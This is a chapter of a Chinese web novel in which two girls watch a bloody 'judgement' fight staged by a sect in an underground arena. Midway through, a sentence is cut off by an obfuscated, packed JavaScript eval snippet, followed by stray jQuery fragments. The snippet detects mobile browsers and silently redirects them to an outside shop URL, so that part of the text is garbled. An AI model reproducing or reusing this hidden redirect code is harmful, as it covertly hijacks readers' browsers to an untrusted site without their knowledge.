偌大的擂台足以容纳上百人,一束强光从上方打在擂台之上,照出漆黑的地板泛着红色的反光。
季安被带着一起挤到了擂台边,她一直挣扎着试图逃走,但那人却死活不松手。
那几人也因此被人群打散,季安身边只剩下那个猴子男,一直在骂骂咧咧想要从人群出去,然而他明显抵挡不住奔涌而来的人潮,何况还带着一个季安,期间男人还一直被各种推搡和踩脚,气得他最后不得不被迫松开了季安的手。
于是季安趁乱躲入人群中。
前后不到一分钟的时间,就听人群中再次爆发出一阵欢呼声,尖锐的声音顿时充斥着整个大厅,让人有种屋顶都要被掀翻的感觉。
面对着突如其来的局势,季安很慌,李知蕴也是一脸懵,再加上她一直被挂在季安身侧,所以期间不断被周遭移动的人各种挤压,终于在一个空档,季安将她拿到身前。
这才让李知蕴能喘口气,她刚想让季安赶紧找空隙离开人群,就见两个穿着防护服全副武装的人正抬着一个包装严密的黑色编织袋到台上,人群再次随之激动起来。
季安刚想试图插空出去,结果又被身后的人给挤到了前排的一个角落,刚想使劲转回去,就被身旁一个力气给拉住了。
吓得她正要甩开手,就听到一个熟悉的女声在耳畔附近响起:“诶你怎么在这?”
季安讶异的转过头看去,是刚才领她过来的姐姐,季安一下有些尴尬,毕竟刚刚只是随便找了个上厕所的借口,说好马上回去的,结果半天了还在这里。
大概是看出季安的不自在,女人主动说道:“没事,我也是偷懒过来的,谁能受得了一整天的工作,反正那里来来去去一直都很忙,大家都睁一只眼闭一只眼,我不会告诉珍姐的。”
珍姐应该就是刚才那个把季安叫去做事的女人。
季安有些无措的:“谢谢姐姐。”
那女人倒是豪爽的笑笑:“不用叫我姐,叫我桃子就行,你站过来点,我这位置大。”
桃子看季安一直被身后的挤着,便将她径直拉到了自己身前,正好季安比她矮,哪怕站在季安身后也不会被遮挡视线。
“你应该是刚来这里吧?”
季安点点头,也不敢多说什么,反正年纪小是很容易装懵懂无知的,再说这个桃子倒是显得人挺好的。
“真是乱来,竟然让你一个人就来这!”
周围声音嘈杂,季安被台上吸引了目光,并没有完全听清桃子的话,只是应付着点点头。
原先那些人搬到台上的那个大黑麻袋此刻正剧烈的动了起来,这引得台下的众人纷纷齐呼喊起来,但听不清那些人具体说的是什么?
桃子显然很乐意给这个新人答疑解惑,感觉更像是一种八卦的新奇。
“他们喊的是‘审判’。”
这次季安和李知蕴都听清了,两人都异口同声问出:“什么‘审判’?”
当然桃子只能听到季安的发问。
“因为在这里的人大多是非正常人类,他们的身体往往跟常人有所不同,这你应该深有体会,不然你也不会因此来到这里吧?”桃子略含深意的目光看了眼季安,不过眼中并未任何的嫌弃和恶意。
不过仍旧让季安感到一丝不自在,因为周围的人就跟她一样外表根本看不出什么异常,但她同时也清楚,这些都是被掩藏住的正常,好比刚才那个帮助她的男孩藏起的左手以及季安牢牢背在身后的袋子里藏起的尾巴。
桃子像是感受到季安的情绪一般,连忙拍拍她的肩膀,凑近了些说道:“没事的,这也不是你愿意变成那样,我要说的‘审判’是这里的人普遍认为这样的身体是因为生而有罪,或者在这个过程中犯了重大的罪孽导致的,于是必须经过所谓的‘审判’将身上的罪孽驱除,才能获得纯净的身体。”
“驱除?”季安听得云里雾里。
“说的好听是审判驱除,实则就是让他们互相比拼,因为他们都认为无罪的灵魂自有神灵庇护,所以只有最终战胜的那个人才能获得自由的灵魂。”
季安有些天真的反问:“桃子接也是这样认为的吗?”
桃子一听露出一个狡黠的笑,不过在这样的环境下,并没有人看清,倒是显得有些神秘的说:“在这里千万别暴露你心里真正的想法,你要做的就是少说多听多看。”
李知蕴在心里为这个小姐姐狠狠点赞。
“多听多看...”季安若有所思的点点头,灯里面的姐姐也是让她少说多看就行,遇到不会应付的情况可以适当装傻。,虽然她认为自己本身也不够聪明。
桃子指了指台上,“是的多看,不过待会要是看不了可以闭上眼睛,有些场面对于你这样的小朋友而言还是残酷了些...”
话还未说完,擂台之上突然一个人影跳了下来,速度极快,甚至说是飞也不为过,一时之间,欢呼雀跃声此起彼伏。
只有季安和李知蕴被突如其来的场面惊得呆住了。
李知蕴:这难道真的不是在拍什么武打片吗?那个人就那么轻易的从上面直接的跳下来,还能安然无恙的站在台上!
李知蕴下意识向那人跳下来的位置看去,这才发现这个大厅原来还有一个开放式的二层,那里有一排的黑色窗户,只有其中一扇是打开的,可想而知,那人正是从那里跳下来的,这高度少说也有三层楼那么高,这人不是奇人也是个耍杂技的。
跳下来的年轻男人留着极短的平头,一身简单黑衣衬得利落干脆,一张脸平平无奇但额角上的一道疤痕,给男人整张脸都带上了一丝邪性,更别说男人那双眼睛里射出狂妄和嗜血的眼神,仿佛将眼前的一切都不放在眼里。
这一看就是个挺厉害的家伙。
李知蕴一面看着台上的状况一面认真听着桃子的八卦。
桃子不知从哪里掏出两个苹果来,还分了一个给季安,这会正一边吃着苹果一边说:“别看这人年纪轻轻,但实力不容小觑,据说此人加入天使教不过短短两个月,但排名已经能排到前十了,当然只是在十二区,不过这已经算是很厉害的了,还没有哪个新人排名能升的如此快。”
再看一边的季安吃苹果吃得津津有味,李知蕴则是听得津津有味,这天使教咋还搞排名呢?怎么有种三教九流又像是□□地下组织的感觉。
“你看他脸上那道疤,就是在他排名考核的时候留下的,据说当时他差点就把考核员给杀了,可谓是一战成名,因此大家私底下都喊他刀疤刘,不过他名字叫刘什么来着?这我还真没记住。”
突然旁边一位打扮格外新潮的男人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501930|202780||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
补充道:“刘恒。”
“对对,好像已经很长时间没出现过这么有潜力的新人了,所以上头格外重视,今晚已经是他这个月第五次被派上场了。”
“准确来说是第六次。”
“是吗?我怎么记得是...”
桃子说着说着便和一旁的男人聊到一块去了,后面的话题就比较发散了。
台上的男人似乎已经做好了准备,就连台下的大多数人都蠢蠢欲动,李知蕴心想:另一个人总不会是被装在袋子里了吧?那这实力悬殊这么大还有啥好比的?
果然下一刻就看见刘恒以极快的速度,去到那个黑色袋子旁,一眨眼的功夫,还不等众人看清动作,那个黑色袋子就被以一种诡异的方式割开,一个穿着白色袍子的人蜷缩在那。
从李知蕴的角度只能看见那人俯卧着弓着的背部,以及乌黑毛糙的长发乱作一团将那人的脸挡的严严实实的,看头发她会以为是个女人,但看总体的身形又像个男的。
不过哪怕是个男的这咋看都觉得病恹恹的,让她怀疑这真的还能站的起身跟人搏斗吗?
然而下一秒就狠狠打了李知蕴的脸,因为那人先前在袋子里倒是挺老实待着的,这会袋子被打开,就突然起身朝着场外冲去,吓得场外的纷纷尖叫,好在不是李知蕴她们这一边。
不过刘恒也毫不逊色的速度跟了上去,一把抓过那人的肩膀,将对方摔倒地上,台面应该是用实木做的,砸下来虽造不成致命伤害,但基本也离半残废不远了,那人与地面接触发出很大的一声响。
现场瞬间安静片刻后又即刻爆发出巨大的欢呼声,齐声喊:“审判审判审判...”
李知蕴真觉得进了什么洗脑的传销组织,这样的比赛完全没有比的必要,结果下一秒,被摔到地上的那个人,一个灵活起身,直直的冲向刘恒,一下将刘恒抱着压到了赛场边缘。
“啊!”季安被吓得尖叫起来,不过女孩的声音瞬间就被淹没在现场此起彼伏的喊声中。
倒是桃子十分贴心的将季安揽了过来,试图安抚女孩情绪,毕竟第一次看如此残暴的场面,肯定会不适的,
李知蕴也想出声安慰来着,但奈何周遭太吵了,她的声音直接被盖过了。
台上两人打的你来我往,可谓是拳拳到肉,不过很快那人就渐渐弱于下风,身上好几处都见了血,白色的衣服上染红了一片。
而反观刘恒仅仅只是脸上擦破了皮。
看下来,李知蕴渐渐看出刘恒的腿部力量非常强,两条腿就跟安了弹簧一样灵活,好几下都踢得那人倒地不起,吐血不止,台上已经一片血色。
突然李知蕴发现季安的状态很不对劲,如果说开始只是害怕,现在则是有种看见什么而震惊的恐惧感。
她顺着季安的视线看去,季安一直紧紧盯着台上那个被打的趴在地上痛苦呻吟的男人,是的那人虽然一头长发但明显是个男人,只是头发似乎太久没打理已经长得过长了。
此刻那人正好对着她们这边,低着头,凌乱的头发垂下来完全挡住了男人的脸,只有一双手露在外面,李知蕴惊奇的发现,男人的手上覆盖了一层黑黑的东西,远看会以为是这人的皮肤黑,但仔细一看就会发现那竟是一层毛发。
而季安已经痛苦的留下眼泪。